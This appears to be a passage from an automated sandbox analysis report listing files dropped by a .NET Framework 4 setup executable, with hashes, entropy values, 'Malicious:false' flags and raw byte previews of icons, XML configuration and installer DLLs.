                  Preview:..............h.......(....... .................................................................................................... ............................................$.$ ..0./...........................{.{............ ...........<.;..........................................C.BA.@O.N...............{.{...~.~..................G.F..................................................................................................._.]..........................................n.lg.en.l..........................................p.n...............................................................................................................................................................................................................................................................................................................G.......................................G..........

                  C:\6231e956ee22143d5ce90e\Graphics\Rotate7.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.4948009720290445
                  Encrypted:false
                  SSDEEP:6:kRKIekllisUriJ2IP+eX8iDml8mS8+hlxllwqlllkg2klHYdpqnHp/p5c:p8os0iieX8iNVHX//x2sHYdoHRp5c
                  MD5:FB4DFEBE83F554FAF1A5CEC033A804D9
                  SHA1:6C9E509A5D1D1B8D495BBC8F57387E1E7E193333
                  SHA-256:4F46A9896DE23A92D2B5F963BCFB3237C3E85DA05B8F7660641B3D1D5AFAAE6F
                  SHA-512:3CAEB21177685B9054B64DEC997371C4193458FF8607BCE67E4FBE72C4AF0E6808D344DD0D59D3D0F5CE00E4C2B8A4FFCA0F7D9352B0014B9259D76D7F03D404
                  Malicious:false
                  Preview:..............h.......(....... ....................................................................................................G.F..........................................H.GG.FX.V..............................).(.........G.F.........i.g..................+.*%.$5.4...............n.ln.l{.y.................. .......................u.s............................................................................................................................................................~.~...~.~.................................................................................................................................................................................................................................................................................................................................................G.......................................G..........

                  C:\6231e956ee22143d5ce90e\Graphics\Rotate8.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.513882730304912
                  Encrypted:false
                  SSDEEP:12:pPv1OuTerb53mpOBfXjQuZfKWpIXE1D6HRp5c:91OEerb53eUQsflpIP4
                  MD5:D1C53003264DCE4EFFAF462C807E2D96
                  SHA1:92562AD5876A5D0CB35E2D6736B635CB5F5A91D9
                  SHA-256:5FB03593071A99C7B3803FE8424520B8B548B031D02F2A86E8F5412AC519723C
                  SHA-512:C34F8C05A50DC0DE644D1F9D97696CDB0A1961C7C7E412EB3DF2FD57BBD34199CF802962CA6A4B5445A317D9C7875E86E8E62F6C1DF8CC3415AFC0BD26E285BD
                  Malicious:false
                  Preview:..............h.......(....... ....................................................................................................g.e..........................................g.eg.ew.u..............................F.E.........g.e..............................E.DA.@P.O..........................................:.9......................................................................................&.%.........................................+.* ..+.*..................................................................................................................................................{.{.......................................................................................~.~...{.{..............................................................................................................................................G.......................................G..........

                  C:\6231e956ee22143d5ce90e\Graphics\Save.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                  Category:dropped
                  Size (bytes):1150
                  Entropy (8bit):4.824239610266714
                  Encrypted:false
                  SSDEEP:24:Br5ckw0Pce/WPv42lPpJ2/BatY9Y4ollEKeKzn:h6kPccWPQS2UtEYFEKeu
                  MD5:7D62E82D960A938C98DA02B1D5201BD5
                  SHA1:194E96B0440BF8631887E5E9D3CC485F8E90FBF5
                  SHA-256:AE041C8764F56FD89277B34982145D16FC59A4754D261C861B19371C3271C6E5
                  SHA-512:AB06B2605F0C1F6B71EF69563C0C977D06C6EA84D58EF7F2BAECBA566D6037D1458C2B58E6BFD70DDEF47DCCBDEA6D9C2F2E46DEA67EA9E92457F754D7042F67
                  Malicious:false
                  Preview:............ .h.......(....... ..... .....@........................................................................................klT.de..UV..RS..OP..MM..JJ..GG..DD..AA.x;<.x;<.r99.n67..........kl......D$.G2!...............VMH..>3..=6..91.r99..........op.........q[K.G<4..xh...........s..A5..B<..=5.x;<..........uv...........q[K.....G<4..........tg..KC..ID..B<.}>>..........{|.............q[K.q[K.q[K.q[K.vbR.}j[..VT..OL..ID..AA...............................yz..qr..kl..]\..VT..PL..DD.....................c`..^V..XK..R?..M4..G(..A...;...]\..VT..GG................fg.................................;...]\..JJ................mn..................................A...gg..MM................vw..................................G(..qr..OP..................................................M4..yz..RS..................................................R?.g33..UV....................................................XK..XY..XY..................................

                  C:\6231e956ee22143d5ce90e\Graphics\Setup.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 12 icons, 16x16, 16 colors, 4 bits/pixel, 16x16, 8 bits/pixel
                  Category:dropped
                  Size (bytes):36710
                  Entropy (8bit):5.3785085024370805
                  Encrypted:false
                  SSDEEP:384:IXcWz9GU46B4riEzg8CKcqxkk63gBh6wSphnBcI/ObMFp2rOebgcjTQcho:IMWQ2Bf8qqxMQP8pc4XessTJo
                  MD5:3D25D679E0FF0B8C94273DCD8B07049D
                  SHA1:A517FC5E96BC68A02A44093673EE7E076AD57308
                  SHA-256:288E9AD8F0201E45BC187839F15ACA79D6B9F76A7D3C9274C80F5D4A4C219C0F
                  SHA-512:3BDE668004CA7E28390862D0AE9903C756C16255BDBB3F7E73A5B093CE6A57A3165D6797B0A643B254493149231ACA7F7F03E0AF15A0CBE28AFF02F0071EC255
                  Malicious:false
                  Preview:..............(...............h...............h...V... .............. .............. ..........N...00......h...."..00..........^)..00...........8........ .h....T.. .... ......Y..00.... ..%...i..(....... ....................................................................................................w......x......................x..ww...........h...............................w.....w.x..........x................xwvwg.................................................................(....... ...................................jO:.mS?.qWD.v\I.|cP..kX..q_..sa..yg..{j...p..nh..pj..uo..|u..xq..|r..|u..rx..zy..|w.}.y...q...d...y...{......S...]..d..i..r..|...j..j...y...e...k...l..q...y...~...v...y..s..s..m...m...l...n...k...t...l..........................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\Graphics\SysReqMet.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                  Category:dropped
                  Size (bytes):1150
                  Entropy (8bit):5.038533294442847
                  Encrypted:false
                  SSDEEP:24:MuoBP5lj49s9NRDe4LakKcTM8cv99uGzMN:MlFH3/Ri4LaN3q
                  MD5:661CBD315E9B23BA1CA19EDAB978F478
                  SHA1:605685C25D486C89F872296583E1DC2F20465A2B
                  SHA-256:8BFC77C6D0F27F3D0625A884E0714698ACC0094A92ADCB6DE46990735AE8F14D
                  SHA-512:802CC019F07FD3B78FCEFDC8404B3BEB5D17BFC31BDED90D42325A138762CC9F9EBFD1B170EC4BBCCCF9B99773BD6C8916F2C799C54B22FF6D5EDD9F388A67C6
                  Malicious:false
                  Preview:............ .h.......(....... ..... .....@..........................................M...........S...........................................q.......................z...................................;........q.c.P.K.|.}............C....................................;.!......................................................Ry,.*w..!.............-.........................................6b..8v................ .+.@............#....................4u..;a..............H.<.........=.C.............................&y..x.e.................$}......................................<.).........\.A............}..................................[.R.}.n.Z.C.y.Y.k.L............. q..............................t.s............r...k.........]{G..............................................y.`.z.h.a.N.e.P...............................................~.q._.J...............................8....................t.p..................?..................................................

                  C:\6231e956ee22143d5ce90e\Graphics\SysReqNotMet.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                  Category:dropped
                  Size (bytes):1150
                  Entropy (8bit):5.854644771288791
                  Encrypted:false
                  SSDEEP:24:u2iVNINssNQhYMEyfCHWZZ7rTRrbWjcyuE:uDW871fdZ1lbWjME
                  MD5:EE2C05CC9D14C29F586D40EB90C610A9
                  SHA1:E571D82E81BD61B8FE4C9ECD08869A07918AC00B
                  SHA-256:3C9C71950857DDB82BAAB83ED70C496DEE8F20F3BC3216583DC1DDDA68AEFC73
                  SHA-512:0F38FE9C97F2518186D5147D2C4A786B352FCECA234410A94CC9D120974FC4BE873E39956E10374DA6E8E546AEA5689E7FA0BEED025687547C430E6CEFFABFFB
                  Malicious:false
                  Preview:............ .h.......(....... ..... .....@....................................../..F..........!....n....d..................................;.............,+..AB..UV..XZ...1.....S......................U.....................EE..\[..rr......NP.....^..............<s.....................!.$)..AC..jj..ww..{{..57.....4........01.................H..........N?8;..[[..ba..`_..TU....L.......bj]^..QP.........:..........)N#&..>=..GG..HI..IJ..EE..!#......24..mm..hh..,.............+N........)(..*-.....{-...-,........ SPS..zy..qr....qq......0NCE..33..%%........ZJ...."$..0/../1....?qRU............W}..)A]^..rr..qq..Y[...._z........CE..RQ..AC....8`79.........SU..ab......||..ef....ey...........QZ[..ZZ..=?.....(...d....................pr.....H............IK..jj..fg..*,..........]_..................[y.......(..:VQS..{z..ut..ab....'H...........?................||..ef..jk..................$%d....................W....................................*,n.............................HI......................WY

                  C:\6231e956ee22143d5ce90e\Graphics\stop.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 6 icons, 32x32, 16 colors, 4 bits/pixel, 16x16, 16 colors, 4 bits/pixel
                  Category:dropped
                  Size (bytes):10134
                  Entropy (8bit):6.016582854640062
                  Encrypted:false
                  SSDEEP:96:uC1kqWje1S/f1AXa0w+2ZM4xD02EuZkULqcA0zjrpthQ2Ngms9+LmODclhpjdfLt:JkqAFqroMS9lD9Ngr9+m7bxpXHT5ToYR
                  MD5:5DFA8D3ABCF4962D9EC41CFC7C0F75E3
                  SHA1:4196B0878C6C66B6FA260AB765A0E79F7AEC0D24
                  SHA-256:B499E1B21091B539D4906E45B6FDF490D5445256B72871AECE2F5B2562C11793
                  SHA-512:69A13D4348384F134BA93C9A846C6760B342E3A7A2E9DF9C7062088105AC0B77B8A524F179EFB1724C0CE168E01BA8BB46F2D6FAE39CABE32CAB9A34FC293E4A
                  Malicious:false
                  Preview:...... ..........f...........(...N... ..........v...........h....... .... ............... .h....#..(... ...@......................................................................................................wwx...........w....w.........x....x.........x.y.......................p..............x.........q.......p.........q.................xy...........q.......................p.............y..................x.y..............y.y.............yyy.........S........x..........yy.............x.yyyx......................Q.8.........x..............y....qy.p...y.....x.....p........y....9.....y....yy..yx.......y..yyyw..p.....y.yyyyy................x.p........y.yy..........x...x............x.................wwx.....................?...................................................................................................?............(....... ..................................................................................................ww.....w..........xx..x........x....p........xy

                  C:\6231e956ee22143d5ce90e\Graphics\warn.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 6 icons, 32x32, 16 colors, 4 bits/pixel, 16x16, 16 colors, 4 bits/pixel
                  Category:dropped
                  Size (bytes):10134
                  Entropy (8bit):4.3821301214809045
                  Encrypted:false
                  SSDEEP:192:USAk9ODMuYKFfmiMyT4dvsZQl+g8DnPUmXtDV3EgTtc:r9wM7pyEBlcgssmXpVUgJc
                  MD5:B2B1D79591FCA103959806A4BF27D036
                  SHA1:481FD13A0B58299C41B3E705CB085C533038CAF5
                  SHA-256:FE4D06C318701BF0842D4B87D1BAD284C553BAF7A40987A7451338099D840A11
                  SHA-512:5FE232415A39E0055ABB5250B120CCDCD565AB102AA602A3083D4A4705AC6775D45E1EF0C2B787B3252232E9D4673FC3A77AAB19EC79A3FF8B13C4D7094530D2
                  Malicious:false
                  Preview:...... ..........f...........(...N... ..........v...........h....... .... ............... .h....#..(... ...@................................................................................................................................................................wwwww.....wwww...................3333333333338...{....3s.....x...{....0G;.............0.;...7.........33....8.....{...33..............0....7...............8.......{....;.............0.;.............0...8...........4...............wu;.............ww;.............ww;?...........;ww;.............7w................................8.............{...................................................................................................................................................................?...?..................................................?...?.........(....... ........................................................................................................333333;...............8.........;........

                  C:\6231e956ee22143d5ce90e\ParameterInfo.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (413), with CRLF line terminators
                  Category:dropped
                  Size (bytes):272046
                  Entropy (8bit):3.4004643852090877
                  Encrypted:false
                  SSDEEP:384:EYSROAGiYNVrkT+8TodTBltw11VTvcL1wCiUj78leRqmH9Hej2iXWKYP4JUaGMLi:EFROYoVQTLTQTDFdhaaot6PcbrIl
                  MD5:7213DA83E0F0B8AE4FEA44AE1CB7F62B
                  SHA1:F2E3FCC77A1AD4D042253BD2E0010BCB40B68ED3
                  SHA-256:59E67E4FB46E5490EEE63D8B725324F1372720ADE7345C74C6138C4A76EA73D9
                  SHA-512:86186AB0F2CB38E520DD1284042ECED157F96874846EB9061BE9CF56B84A1CAB5901A4879E105A8B04B336BBC43B03F4BDF198D43AF868BE188602347DB829E0
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .S.e.t.u.p.V.e.r.s.i.o.n.=.".1...0.".>..... . .<.U.I. .D.l.l.=.".S.e.t.u.p.U.i...d.l.l.". .N.a.m.e.=.".M.i.c.r.o.s.o.f.t. ...N.E.T. .F.r.a.m.e.w.o.r.k. .4. .S.e.t.u.p.". .V.e.r.s.i.o.n.=.".4...0...3.0.3.1.9.". ./.>..... . .<.C.o.n.f.i.g.u.r.a.t.i.o.n.>..... . . . .<.D.i.s.a.b.l.e.d.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h.e.s.>..... . . . . . .<.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h. .N.a.m.e.=.".c.r.e.a.t.e.l.a.y.o.u.t.". ./.>..... . . . .<./.D.i.s.a.b.l.e.d.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h.e.s.>..... . . . .<.U.s.e.r.E.x.p.e.r.i.e.n.c.e.D.a.t.a.C.o.l.l.e.c.t.i.o.n. .P.o.l.i.c.y.=.".O.S.C.o.n.t.r.o.l.l.e.d.". ./.>..... . . . .<.B.l.o.c.k.i.n.g.M.u.t.e.x. .N.a.m.e.=.".N.e.

                  C:\6231e956ee22143d5ce90e\Setup.exe

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):78152
                  Entropy (8bit):6.011592088917562
                  Encrypted:false
                  SSDEEP:1536:sYNItbBL5NWiiESc0exWZnqxMQP8ZOs0JD9rHUq:sYNAB9NWTZctc/gBJ9oq
                  MD5:006F8A615020A4A17F5E63801485DF46
                  SHA1:78C82A80EBF9C8BF0C996DD8BC26087679F77FEA
                  SHA-256:D273460AA4D42F0B5764383E2AB852AB9AF6FECB3ED866F1783869F2F155D8BE
                  SHA-512:C603ED6F3611EB7049A43A190ED223445A9F7BD5651100A825917198B50C70011E950FA968D3019439AFA0A416752517B1C181EE9445E02DA3904F4E4B73CE76
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;.................j.}.....].v.....h.w.....\.H...v.e.|.......B.....h.~.....Y.|.....].~.....m.~.....l.~.....k.~...Rich............PE..L......K.........."......f...........+............@..........................P............@...... ..................pu..x...Tp..<.......................H....@...... ................................(..@............................................text....e.......f.................. ..`.data................j..............@....rsrc................v..............@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\SetupEngine.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):807256
                  Entropy (8bit):6.357664904941565
                  Encrypted:false
                  SSDEEP:24576:GS62nlYAqK/AitUgiuVQk/oifPNJIkjbSTzR8NmsBJj:GS62nlYAltBjPNJIkHST18QsBJ
                  MD5:84C1DAF5F30FF99895ECAB3A55354BCF
                  SHA1:7E25BA36BCC7DEED89F3C9568016DDB3156C9C5A
                  SHA-256:7A0D281FA802D615EA1207BD2E9EBB98F3B74F9833BBA3CB964BA7C7E0FB67FD
                  SHA-512:E4FB7E4D39F094463FDCDC4895AB2EA500EB51A32B6909CEC80A526BBF34D5C0EB98F47EE256C0F0865BF3169374937F047BF5C4D6762779C8CA3332B4103BE3
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................&......&.......R.....z.....O.....{......B...........O.....~.....J.....K.....L....Rich...........................PE..L......K.........."!................Y...............................................;.....@.....................................h....................:..X...............................................@............................................text............................... ..`.data...8...........................@....rsrc................f..............@..@.reloc...............p..............@..B........................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\SetupUi.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):295248
                  Entropy (8bit):6.262127887617593
                  Encrypted:false
                  SSDEEP:3072:/LTVUK59JN+C0iy4Ww8oBcPFIOrvHvr8QDZHAAKWiIHT6llN1QkvQZaiionv5y/y:HOoMFrz8ygAKWiiIyKf73w
                  MD5:EB881E3DDDC84B20BD92ABCEC444455F
                  SHA1:E2C32B1C86D4F70E39DE65E9EBC4F361B24FF4A1
                  SHA-256:11565D97287C01D22AD2E46C78D8A822FA3E6524561D4C02DFC87E8D346C44E7
                  SHA-512:5750CEC73B36A3F19BFB055F880F3B6498A7AE589017333F6272D26F1C72C6F475A3308826268A098372BBB096B43FBD1E06E93EECC0A81046668228BC179A75
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............I...I...I..bI...I..WI...I..cI..I..ZI...I...IG..I..WI...I..fI...I..RI...I..SI...I..TI...IRich...I................PE..L......K.........."!................................................................yq....@..........................................P...............j..P....`..0?..................................`z..@............................................text............................... ..`.data....Q.......4..................@....rsrc........P......................@..@.reloc...T...`...V..................@..B........................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\SetupUi.xsd

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, ASCII text, with very long lines (335), with CRLF line terminators
                  Category:dropped
                  Size (bytes):30120
                  Entropy (8bit):4.990211039591874
                  Encrypted:false
                  SSDEEP:768:hlzLm8eYhsPs05F8/ET/chT+cxcW8G2P4oeTMC:1wchT+cxcDm
                  MD5:2FADD9E618EFF8175F2A6E8B95C0CACC
                  SHA1:9AB1710A217D15B192188B19467932D947B0A4F8
                  SHA-256:222211E8F512EDF97D78BC93E1F271C922D5E91FA899E092B4A096776A704093
                  SHA-512:A3A934A8572FF9208D38CF381649BD83DE227C44B735489FD2A9DC5A636EAD9BB62459C9460EE53F61F0587A494877CD3A3C2611997BE563F3137F8236FFC4CA
                  Malicious:false
                  Preview:<?xml version="1.0" encoding="utf-8"?>..<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema".. xmlns="http://schemas.microsoft.com/SetupUI/2008/01/imui".. xmlns:imui="http://schemas.microsoft.com/SetupUI/2008/01/imui".. targetNamespace="http://schemas.microsoft.com/SetupUI/2008/01/imui".. elementFormDefault="qualified"..attributeFormDefault="unqualified"..>.... <xs:annotation>.. <xs:documentation>.. Copyright (c) Microsoft Corporation. All rights reserved... Schema for describing DevDiv "Setup UI Info".. </xs:documentation>.. </xs:annotation>.... <xs:element name="SetupUI">.. <xs:annotation>.. <xs:documentation>specifies UI dll, and lists of MSIs MSPs and EXEs</xs:documentation>.. </xs:annotation>.. <xs:complexType>.. <xs:sequence>.. <xs:choice>.. <xs:element ref="UI" minOccurs="1" maxOccurs="1"></xs:element>.. <xs:element ref="Strings" minOccurs="1" maxOccurs="1"></xs:element>..

                  C:\6231e956ee22143d5ce90e\SetupUtility.exe

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):96088
                  Entropy (8bit):6.292361456158864
                  Encrypted:false
                  SSDEEP:1536:L+59IKI1N74oszIepIJqwlAno0dwRXPuY6zcVcE7OgkT9vs6M4raUZrH9rHUA:L+59hI1NktIemJllRXGYRKEaVM4raUZh
                  MD5:8DFBB95989AF28058C7431704CE7CD66
                  SHA1:78A5927D6B65D177F537FC671ED6BE4A77F20353
                  SHA-256:589B4F04ED38A35D29C4A16FCCB489C3FBA6505F5DA399C1A2AF0CA966486059
                  SHA-512:51FFB1B20006BB1C2F396C84EF19D7D47AD421D0A3196919B4ABC26405326BF15DDB989EDF815CBEDEEA8DEDC0454C0CC22A3987492E9BC1646A42A31151E1AF
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ux`.1...1...1...8a..0...^o......^o..!...^o..@...8a..:...1...T...Vo..0...Vo..;...Vo..0...Vo..0...Vo..0...Vo..0...Rich1...........................PE..L......K.........."......0...L.......^.......@....@..................................u....@...... ..................`>.......5..x....p...............`..X............................................K..@...............|............................text............0.................. ..`.data........@.......4..............@....rsrc........p.......D..............@..@.reloc..f............H..............@..B................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\SplashScreen.bmp

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PC bitmap, Windows 3.x format, 200 x 200 x 8, image size 40002, resolution 3779 x 3779 px/m, cbSize 41080, bits offset 1078
                  Category:dropped
                  Size (bytes):41080
                  Entropy (8bit):6.9955557349183595
                  Encrypted:false
                  SSDEEP:384:G1o2kgxmJGEsU3pP28+Qq1ms68/tUqHUlHGwM7bwv3ETbFrS:kkpoapTbimsqHGI
                  MD5:0966FCD5A4AB0DDF71F46C01EFF3CDD5
                  SHA1:8F4554F079EDAD23BCD1096E6501A61CF1F8EC34
                  SHA-256:31C13ECFC0EB27F34036FB65CC0E735CD444EEC75376EEA2642F926AC162DCB3
                  SHA-512:A9E70A2FB5A9899ACF086474D71D0E180E2234C40E68BCADB9BF4FE145774680CB55584B39FE53CC75DE445C6BF5741FC9B15B18385CBBE20FC595FE0FF86FCE
                  Malicious:false
                  Preview:BMx.......6...(...................B.......................{7...>...h?..D...N...K..........xE..._#..q..T...X...Q...[..._...c...j....>.!....f...v...r...."..v....0....... ..........4..I.........[...}..............j.............................................................................................................i......................@>1.......................................................o...u...u...z...z...~............................................................................................................................................................................{...~.................................................................................................................yw`......................................................................................................................................................//'...........................................

                  C:\6231e956ee22143d5ce90e\Strings.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):14084
                  Entropy (8bit):3.701412990655975
                  Encrypted:false
                  SSDEEP:384:VqZo71GHY3vqaqMnYfHHVXIHjfBHwnwXCa+F:VqB
                  MD5:8A28B474F4849BEE7354BA4C74087CEA
                  SHA1:C17514DFC33DD14F57FF8660EB7B75AF9B2B37B0
                  SHA-256:2A7A44FB25476886617A1EC294A20A37552FD0824907F5284FADE3E496ED609B
                  SHA-512:A7927700D8050623BC5C761B215A97534C2C260FCAB68469B7A61C85E2DFF22ED9CF57E7CB5A6C8886422ABE7AC89B5C71E569741DB74DAA2DCB4152F14C2369
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p.U.I. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". ..... . . . . . . . . .x.m.l.n.s.:.i.m.u.i.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". .>..... . .<.S.t.r.i.n.g.s.>..... . . . .<.!.-.-. .R.e.f.l.e.c.t.i.v.e. .p.r.o.p.e.r.t.y. .p.a.g.e. .-.-.>..... . . . .<.I.D.S._.I.S._.R.E.A.L.L.Y._.C.A.N.C.E.L.>.#.(.l.o.c...i.d.s._.i.s._.r.e.a.l.l.y._.c.a.n.c.e.l.).<./.I.D.S._.I.S._.R.E.A.L.L.Y._.C.A.N.C.E.L.>......... . . . .<.!.-.-. .S.y.s.t.e.m. .R.e.q.u.i.r.e.m.e.n.t.s. .p.a.g.e. .-.-.>..... . . . .<.S.Y.S.R.E.Q.P.A.G.E._.R.E.Q.U.I.R.E.D._.A.N.D._.A.V.A.I.L.A.B.L.E._.D.I.S.K._.S.P.A.C.E.>.#.(.l.o.c...s.y.s.r.e.q.p.a.g.e._.r.e.q.u.i.r.e.d._.a.n.d._.a.v.a.i.l.a.b.l.e._.d.i.s.k._.s.p.a.c.e.).<./.S.Y.S.R.E.Q.P.A.G.E._.R.E.Q.U.I.R.E.D._.A.N.D._.A.V.A.I.L.A.B.L.E._.D.I.S.K._.S.

                  C:\6231e956ee22143d5ce90e\UiInfo.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):38898
                  Entropy (8bit):3.1042370213993578
                  Encrypted:false
                  SSDEEP:768:24UR0d5vssgP7ZgZ/vSguJQvFQXvDINJh6Fmhvk71sO0Nep3UL9Eu+dOtOcOdOjY:24UR0d5vsTPuZXQYQLIN/6Fmhvk71sOR
                  MD5:8B8B0A935DC591799A0C6D52FDC33460
                  SHA1:CE2748BD469AAD6E90B06D98531084D00611FB89
                  SHA-256:57A9CCB84CAE42E0D8D1A29CFE170AC3F27BDCAE829D979CDDFD5E757519B159
                  SHA-512:93009B3045939B65A0C1D25E30A07A772BD73DDA518529462F9CE1227A311A4D6FD7595F10B4255CC0B352E09C02026E89300A641492F14DF908AD256A3C9D76
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p.U.I. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". .x.m.l.n.s.:.i.m.u.i.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". .>..... . .<.U.I.>......... . . . .<.R.e.s.o.u.r.c.e.D.l.l.>.S.e.t.u.p.R.e.s.o.u.r.c.e.s...d.l.l.<./.R.e.s.o.u.r.c.e.D.l.l.>..... . . . .<.!.-.-..... . . . .<.S.p.l.a.s.h.S.c.r.e.e.n.>..... . . . . . .<.H.i.d.e./.>..... . . . .<./.S.p.l.a.s.h.S.c.r.e.e.n.>..... . . . .-.-.>..... . . . .<.S.p.l.a.s.h.S.c.r.e.e.n.>..... . . . . . .<.F.i.l.e.N.a.m.e.>.S.p.l.a.s.h.S.c.r.e.e.n...b.m.p.<./.F.i.l.e.N.a.m.e.>..... . . . .<./.S.p.l.a.s.h.S.c.r.e.e.n.>......... . . . .<.L.C.I.D.H.i.n.t.s.>..... . . . . . .<.L.C.I.D.H.i.n.t.>..... . . . . . . . .<.R.e.g.K.e.y.>.H.K.C.U.\.S.o.f.t.w.a.r.e.\.M.i.c.r.o.s.o.f.t.\.V.i.s.u.a.l.S.t.u.d.i.o.\.9...0.\.G.e.n.e.r.a.l.<./.

                  C:\6231e956ee22143d5ce90e\header.bmp

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PC bitmap, Windows 3.x format, 49 x 49 x 8, image size 2550, resolution 2834 x 2834 px/m, cbSize 3628, bits offset 1078
                  Category:dropped
                  Size (bytes):3628
                  Entropy (8bit):4.8382652865388724
                  Encrypted:false
                  SSDEEP:48:f0sO8Kdwc6o5NF5ghwwpnMOccFpscGqfkemvIQpQK/xHiggTfGRgVC0q:cMa1krnrJmdQ+EgyfG3
                  MD5:514BFCD8DA66722A9639EB41ED3988B7
                  SHA1:CF11618E3A3C790CD5239EE749A5AE513B4205CD
                  SHA-256:6B8201ED10CE18FFADE072B77C6D1FCACCF1D29ACB47D86F553D9BEEBD991290
                  SHA-512:89F01C3361BA874015325007EA24E83AE6E73700996D0912695A4E7CB3F8A611494BA9D63F004DCD4F358821E756BE114BCF0137ED9B130776A6E26A95382C7B
                  Malicious:false
